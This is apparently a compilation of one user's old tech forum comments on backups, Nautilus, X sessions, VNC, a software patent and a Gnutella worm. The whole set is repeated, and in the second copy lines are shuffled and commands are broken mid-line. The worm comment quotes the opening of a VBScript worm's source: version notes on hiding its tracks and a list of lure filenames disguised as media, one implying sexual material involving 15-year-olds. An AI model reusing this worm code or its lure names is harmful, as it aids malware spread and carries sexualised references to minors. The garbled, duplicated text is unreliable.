CVS is different than a backup system. It also lets you sync multiple remote copies together and merge changes between them.
I like faubackup for an easy backup system that allows users access to backups at anytime. (There's other backup systems using rsync in similar manner)
Package: faubackup
Description: Backup System using a Filesystem for Storage
This Program uses a filesystem on a hard drive for incremental
and full backups.
All Backups can easily be accessed by standard filesystem tools
(ls, find, grep, cp,...)
Later Backups to the same filesystem will automatically be
incremental, as unchanged files are only hard-linked with
the existing version of the file.
Ugh. Thanks for reminding me. I forgot to reset back to Opera last time I came across one of these sites.
Though, looking at my logs, opera "Identify as MSIE" comes through with a valid OS:
Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.18-rc3 i686) Opera 7.11 [en]
This was most likely 4/5 with the old winex 2.0, that didn't officially support wc3. It might be nice if they actually had version information with that feedback.
Ah, you got me. I'm really not concerned about breaking xsetroot. What I am most concerned about is my favorite cutesy 31337 hack: `locate xscreensaver/atlantis` -root. There's something about having fishies swimming around behind my windows that soothes my soul.
Nautilus has a "Use Nautilus to Draw the Desktop" option. You could argue about whether its a misbehaviour of a file manager to absolutely conquer the root window. Some people like to use their own programs to paint whatever they want on the root window, instead of a nautilus pattern.
Gmc and Rox are able to put folders on the 'desktop' without preventing xsetroot from working. On the other hand, you can go ahead and use nautilus just fine without its big root window.
Heh. I had my load on 2.4.17 with the preempt kernel up around 150. The machine seemed very unhappy at the time.
It all came about when I discovered in the man pages for make that -j without any arguments would set no limit on the number of processes when compiling.
cd/usr/src/linux; make clean; make -j
And boom. System becomes pretty unresponsive. (500 mhz PIII with 320 meg ram.) All good fun though.
Re:Something that isn't pointed out enough
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SuSE 7.3 vs XP
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Actually, this is something pretty easy if you're configured to use startx from the console.
From X you can use the ^M-Fkey combination to switch to a text console. After you login from a fresh console, you can run "startx --:1" to start from the display:1. Or "startx --:2", etc for a third.
You can flip between them using ^M-Fkeys.
For example, I'm on a redhat box, which gives me text console on virtual console 1-6, and the graphical login on console 7. I hit ^M-F1 to get to a console, login as some user, startx --:1 and now have a second X session on console 8.
Hit ^M-F7 to get to the first one, hit ^M-F1 to get to the console again, and then M-F8 to get back to the second login. All pretty standard and easy to do.
I haven't seen a registry corruption in years (not since win95, actually).
Speak for yourself. My parents computer running Windows Me boots up into a message that says something like "The registry is corrupted. Click OKAY to fix registry and reboot the computer." When it finishes rebooting it shows the same message. There is no cancel or close box on the dialog.
I was overjoyed to find that my parents had figured out what to do. When the computer starts up, the first thing you do is hit C-M-Del, and force quit the Registry Fixer. Cool!
With firewire cards running around 30 bucks for a nice 3 channel (linux compatible) card, I can't understand why anyone is afraid of it. Holy crap. Buy a freakin firewire card already!
10Mb/s ethernet, 5 hops away? Hopefully you have that much bandwidth through all 5 hops, or your 10Mbs statement is pretty meaningless.
I use vnc from my linux box to manage a bunch of NT servers a couple hops away (over a twin T1 setup), and don't find it unuseable. The fact that it's a bunch of NT servers pretty much sucks, but the vnc itself is pretty much bearable, and seems much better than trecking over to the remote provider.
The one problem is that polling the window on MSWindows seems pretty hard on the CPU. A 3x200 mhz pentium pro on the same 100bT switch is much slower than the 900mhz P3 across the internet.
I'm sorry, but I gotta say that this nautilus thing is so very slick.
Sure, currently its slow and buggy, but everything is falling in to place. PR2 is leaps and bounds ahead of PR1 in these terms, plus lots of extra fun functionality. I'm fairly confident that the eazel guys can take care of performance issues, and get things running like a real application some day soon.
Icons: There's something nice about being able to actually visualize all your files and your contents. No other filemanager I've seen does such a good job of putting a preview of the file in the icon.
Keyboard: This thing actually has working keyboard shortcuts so often missing from alot of gnome programs (namely gmc). Eazel's focus on getting the user experience correct gives me high hopes that I will actually be able to use this thing without too much mouse action. And it has the benefit of the handy gtk/menu quick key reassignment.
Services: Currently the software catalog is somewhat limited, but it was sure nice to go click and install Maelstrom. I love this game, but not enough to go search linuxgames, try to find an rpm or tar file, read the installation instructions, etc. The online storage is something that's being done for other operating systems, but the current purely web based solutions are quite lame. This is a service that probably would never hit linux without eazel.
Will there be a standardized API for making your own services? I don't know if this is something eazel is even thinking about.
gnome-vfs: I'd be interested in comparisons with KDE2's generic filesystem/IO layer.
Metafile: The xml file for storing directory state seems to me like a very good idea. It would even allow a transparent ftp session to layout icons, it survives being put into archive files, it inheriets the multiuser security model when you're browsing other people's directories and its easy for me to see and inspect when I'm in bash/vi mode.
Nautilus shows a whole mess of promise, the only unfortunate thing is its not quite ready to actually use yet.
Another question is how easy eazel will make it for third parties to provide competing and alternate services. It would be very nice if something like sourceforge or other ftp repositories could provide simple package install services like eazel's.
It'd be a serious shame if Eazel stays as the only provider of services for Nautilus.
I'm completely upset at the way the Hagelin and the natural law party use code phrases like education that directly unfolds intelligence and creativity, builds self-confidence, elimnates stress, and raises life to be in harmony with natural law instead of just saying it straight out: Transcendental Meditation will cure the worlds ills, especially if it has the full weight of the United States government and its guns behind it
Do people really not see through this? Or are there really people looking forward to the day when their 3rd grader comes home from school and practices 'levitation'?
Re:Not sure it's that bad
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Patent Warfare
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If this is the patent in question it is completely insane -- its like the guy 'invented' the concept of something kinda like HTTP over UUCP.
I'll try to condense a block of the detail: example: a typical EUS (end user station) can use its local DDS to place a request which is stored in the concentrator and which is automatically forwarded overnight along with requests from other EUS's in the cluster, to the neighboring server with corresponding replies.... The server will typically be more powerful than the EUS, can preferably be UNIX based, and should utilze a CISC or RISC based processor which is capable of utilizing compression software... such as JPEG.
And on and on it goes. I particularly like claim 1:
1. A method for downloading responsive data fram a remote server comprising the following steps:
o Identifying a query via a data input means and inputting said query to remote query and data retrieval means;
o transmitting said query from said remote query and data retrieval means to a remote host via an input/output means;
o receiving a compressed or non-compressed response to said query at said remote query and data retrieval system from said remote host via said input/output means; and
o displaying a presentation corresponding to said query response on output means.
Okay, so, if you identify a query, transmit it, recieve a response (compressed or non-compressed mind you), and then display it, you gotta pay. Nice.
This one is the sticker for me. No Microsoft Networking means that I'm stuck rebooting this NT box next to me (2-8 times a day) so I can partake in the wonder that is Outlook.
Re:Wonder if this could be dangerous?
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Gnutella Vs. SPAM
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Here's the first few lines of something that I happened to find the first time I tried gnutella.
Might be interesting to search for some of these names and see how well this thing is doing. The one I got is generation 5.
Option Explicit
Dim CurrentFilename, CurrentGeneration, InfectionDate
CurrentFilename = "AssFucking Collage Teens 15 Girls.asf.vbs"
CurrentGeneration = 5
InfectionDate = "7/16/2000, 6:29:52 AM"
const ProgramName = "Gnutella Worm v1.2 By LeGaLiZeBuDz"
const ProgramDate = "2000 May 28. The first v1.2 Gnutella Worm."
' Watching CurrentGeneration will be quite interesting. I wonder if
' anyone ever studied this compared with real viral spreading.
' Version History:
' 1.2 o Following Enhancements:
' o Now Sets INI to remove completed uploads and downloads, covers my tracks while searching for Victims.
' o Re-Coded for better performance while editing ini and victim files.
'
' 1.1 o Now copies itself to a list of target keyword instead of just current filename
' o Fixed a bug with Ini path... (1.0 didn't work at all. he he.)
'
' 1.0 o Initial Release
'
' Behavior Control Parameters
Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename
NewFilenames = Array(ProgramName & ".vbs", "JennaJamesonmovie.asf.vbs", "PamelaAndersonmovie.mov.vbs", "AsiaCarerramovie.avi.vbs", "xxxFTPmovie.mov.vbs", "ASFCompressor(Noqualityloss).zip.vbs", "collegesex.jpg.vbs", "Gladiator.jpg.vbs", "Battlefield Earth.asf.vbs", "Evangelioncompleteepisodesscripts.txt.vbs", "ScanMaster.jpg.vbs", "How to eat pussy.avi.vbs", "AliciaSilverstone.jpg.vbs", "PearlJam.mp3.vbs", "Mp3compressor(Halfthesizebutsamequality).zip.vbs" , "NapsterMetallicaCrack.zip.vbs", "Santana.mp3.vbs", "NSync.mp3.vbs", "Nirvana.mp3.vbs", "ShaniaTwain.mp3.vbs", "Jesuslovesyou.txt.vbs", "GnutellaUpgrade.zip.vbs", "OFFICIALGnutellaOptionPack.ZIP.vbs", "AssFucking
Collage Teens 15 Girls.asf.vbs")
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man perlop
Binary "+" returns the sum of two numbers.
Is that not clear enough?
If you're worry about what a number is, you could check: perlnumber - semantics of numbers and numeric operations in Perl
Perl the only language I'm aware of that is possible to learn and master directly from the man pages.
I like faubackup for an easy backup system that allows users access to backups at anytime. (There's other backup systems using rsync in similar manner)
Why can't it just show you the full resolution image by default, and let the user scale to Fit if they choose by clicking on it after it loads?
This would seem much simpler than either always scaling to fit (ugly) by default, or not having the option at all.
Though, looking at my logs, opera "Identify as MSIE" comes through with a valid OS:
Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.18-rc3 i686) Opera 7.11 [en]
If Google can't get that right, who can?
GOTO dead?
Not exactly .
The show takes place in one solar system. The one that they colonized after they wrecked up Earth. Or so they say at the beginning of every episode.
This was most likely 4/5 with the old winex 2.0, that didn't officially support wc3. It might be nice if they actually had version information with that feedback.
Ah, you got me. I'm really not concerned about breaking xsetroot. What I am most concerned about is my favorite cutesy 31337 hack: `locate xscreensaver/atlantis` -root. There's something about having fishies swimming around behind my windows that soothes my soul.
Nautilus has a "Use Nautilus to Draw the Desktop" option. You could argue about whether its a misbehaviour of a file manager to absolutely conquer the root window. Some people like to use their own programs to paint whatever they want on the root window, instead of a nautilus pattern.
Gmc and Rox are able to put folders on the 'desktop' without preventing xsetroot from working. On the other hand, you can go ahead and use nautilus just fine without its big root window.
At least you're stuck playing tux racer. I got stuck one time doing Lather, Rinse. Prune city.
Heh. I had my load on 2.4.17 with the preempt kernel up around 150. The machine seemed very unhappy at the time.
/usr/src/linux; make clean; make -j
It all came about when I discovered in the man pages for make that -j without any arguments would set no limit on the number of processes when compiling.
cd
And boom. System becomes pretty unresponsive. (500 mhz PIII with 320 meg ram.) All good fun though.
Actually, this is something pretty easy if you're configured to use startx from the console.
:1" to start from the display :1. Or "startx -- :2", etc for a third.
:1 and now have a second X session on console 8.
From X you can use the ^M-Fkey combination to switch to a text console. After you login from a fresh console, you can run "startx --
You can flip between them using ^M-Fkeys.
For example, I'm on a redhat box, which gives me text console on virtual console 1-6, and the graphical login on console 7. I hit ^M-F1 to get to a console, login as some user, startx --
Hit ^M-F7 to get to the first one, hit ^M-F1 to get to the console again, and then M-F8 to get back to the second login. All pretty standard and easy to do.
Speak for yourself. My parents computer running Windows Me boots up into a message that says something like "The registry is corrupted. Click OKAY to fix registry and reboot the computer." When it finishes rebooting it shows the same message. There is no cancel or close box on the dialog.
I was overjoyed to find that my parents had figured out what to do. When the computer starts up, the first thing you do is hit C-M-Del, and force quit the Registry Fixer. Cool!
With firewire cards running around 30 bucks for a nice 3 channel (linux compatible) card, I can't understand why anyone is afraid of it. Holy crap. Buy a freakin firewire card already!
vnc does refuse connections from hosts after about 5 or six attempts. Not that that should stop you from using authhosts or anything. (grin)
10Mb/s ethernet, 5 hops away? Hopefully you have that much bandwidth through all 5 hops, or your 10Mbs statement is pretty meaningless.
I use vnc from my linux box to manage a bunch of NT servers a couple hops away (over a twin T1 setup), and don't find it unuseable. The fact that it's a bunch of NT servers pretty much sucks, but the vnc itself is pretty much bearable, and seems much better than trecking over to the remote provider.
The one problem is that polling the window on MSWindows seems pretty hard on the CPU. A 3x200 mhz pentium pro on the same 100bT switch is much slower than the 900mhz P3 across the internet.
The current methods listed are:
I'm sorry, but I gotta say that this nautilus thing is so very slick.
Sure, currently its slow and buggy, but everything is falling in to place. PR2 is leaps and bounds ahead of PR1 in these terms, plus lots of extra fun functionality. I'm fairly confident that the eazel guys can take care of performance issues, and get things running like a real application some day soon.
Icons: There's something nice about being able to actually visualize all your files and your contents. No other filemanager I've seen does such a good job of putting a preview of the file in the icon.
Keyboard: This thing actually has working keyboard shortcuts so often missing from alot of gnome programs (namely gmc). Eazel's focus on getting the user experience correct gives me high hopes that I will actually be able to use this thing without too much mouse action. And it has the benefit of the handy gtk/menu quick key reassignment.
Services: Currently the software catalog is somewhat limited, but it was sure nice to go click and install Maelstrom. I love this game, but not enough to go search linuxgames, try to find an rpm or tar file, read the installation instructions, etc. The online storage is something that's being done for other operating systems, but the current purely web based solutions are quite lame. This is a service that probably would never hit linux without eazel.
Will there be a standardized API for making your own services? I don't know if this is something eazel is even thinking about.
gnome-vfs: I'd be interested in comparisons with KDE2's generic filesystem/IO layer.
Metafile: The xml file for storing directory state seems to me like a very good idea. It would even allow a transparent ftp session to layout icons, it survives being put into archive files, it inheriets the multiuser security model when you're browsing other people's directories and its easy for me to see and inspect when I'm in bash/vi mode.
Nautilus shows a whole mess of promise, the only unfortunate thing is its not quite ready to actually use yet.
Another question is how easy eazel will make it for third parties to provide competing and alternate services. It would be very nice if something like sourceforge or other ftp repositories could provide simple package install services like eazel's.
It'd be a serious shame if Eazel stays as the only provider of services for Nautilus.
Do people really not see through this? Or are there really people looking forward to the day when their 3rd grader comes home from school and practices 'levitation'?
I'll try to condense a block of the detail: ... The server will typically be more powerful than the EUS, can preferably be UNIX based, and should utilze a CISC or RISC based processor which is capable of utilizing compression software ... such as JPEG.
example: a typical EUS (end user station) can use its local DDS to place a request which is stored in the concentrator and which is automatically forwarded overnight along with requests from other EUS's in the cluster, to the neighboring server with corresponding replies.
And on and on it goes. I particularly like claim 1:
Okay, so, if you identify a query, transmit it, recieve a response (compressed or non-compressed mind you), and then display it, you gotta pay. Nice.
Please post a URL or place to buy ram this cheap! I'd be more interested in that, than a funny kernel patch.
You wouldn't, by any chance, know where I could get a 512M for about $250, either?
Hmm.. A modeline labelled with 1600x1200 for a screen that does maxes out at 1600x1024. Forgive me if I don't trust your numbers.
2) No protocols besides TCP/IP
This one is the sticker for me. No Microsoft Networking means that I'm stuck rebooting this NT box next to me (2-8 times a day) so I can partake in the wonder that is Outlook.
Here's the first few lines of something that I happened to find the first time I tried gnutella.
" , "NapsterMetallicaCrack.zip.vbs", "Santana.mp3.vbs", "NSync.mp3.vbs", "Nirvana.mp3.vbs", "ShaniaTwain.mp3.vbs", "Jesuslovesyou.txt.vbs", "GnutellaUpgrade.zip.vbs", "OFFICIALGnutellaOptionPack.ZIP.vbs", "AssFucking
Might be interesting to search for some of these names and see how well this thing is doing. The one I got is generation 5.
Option Explicit
Dim CurrentFilename, CurrentGeneration, InfectionDate
CurrentFilename = "AssFucking Collage Teens 15 Girls.asf.vbs"
CurrentGeneration = 5
InfectionDate = "7/16/2000, 6:29:52 AM"
const ProgramName = "Gnutella Worm v1.2 By LeGaLiZeBuDz"
const ProgramDate = "2000 May 28. The first v1.2 Gnutella Worm."
' Watching CurrentGeneration will be quite interesting. I wonder if
' anyone ever studied this compared with real viral spreading.
' Version History:
' 1.2 o Following Enhancements:
' o Now Sets INI to remove completed uploads and downloads, covers my tracks while searching for Victims.
' o Re-Coded for better performance while editing ini and victim files.
'
' 1.1 o Now copies itself to a list of target keyword instead of just current filename
' o Fixed a bug with Ini path... (1.0 didn't work at all. he he.)
'
' 1.0 o Initial Release
'
' Behavior Control Parameters
Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename
NewFilenames = Array(ProgramName & ".vbs", "JennaJamesonmovie.asf.vbs", "PamelaAndersonmovie.mov.vbs", "AsiaCarerramovie.avi.vbs", "xxxFTPmovie.mov.vbs", "ASFCompressor(Noqualityloss).zip.vbs", "collegesex.jpg.vbs", "Gladiator.jpg.vbs", "Battlefield Earth.asf.vbs", "Evangelioncompleteepisodesscripts.txt.vbs", "ScanMaster.jpg.vbs", "How to eat pussy.avi.vbs", "AliciaSilverstone.jpg.vbs", "PearlJam.mp3.vbs", "Mp3compressor(Halfthesizebutsamequality).zip.vbs
Collage Teens 15 Girls.asf.vbs")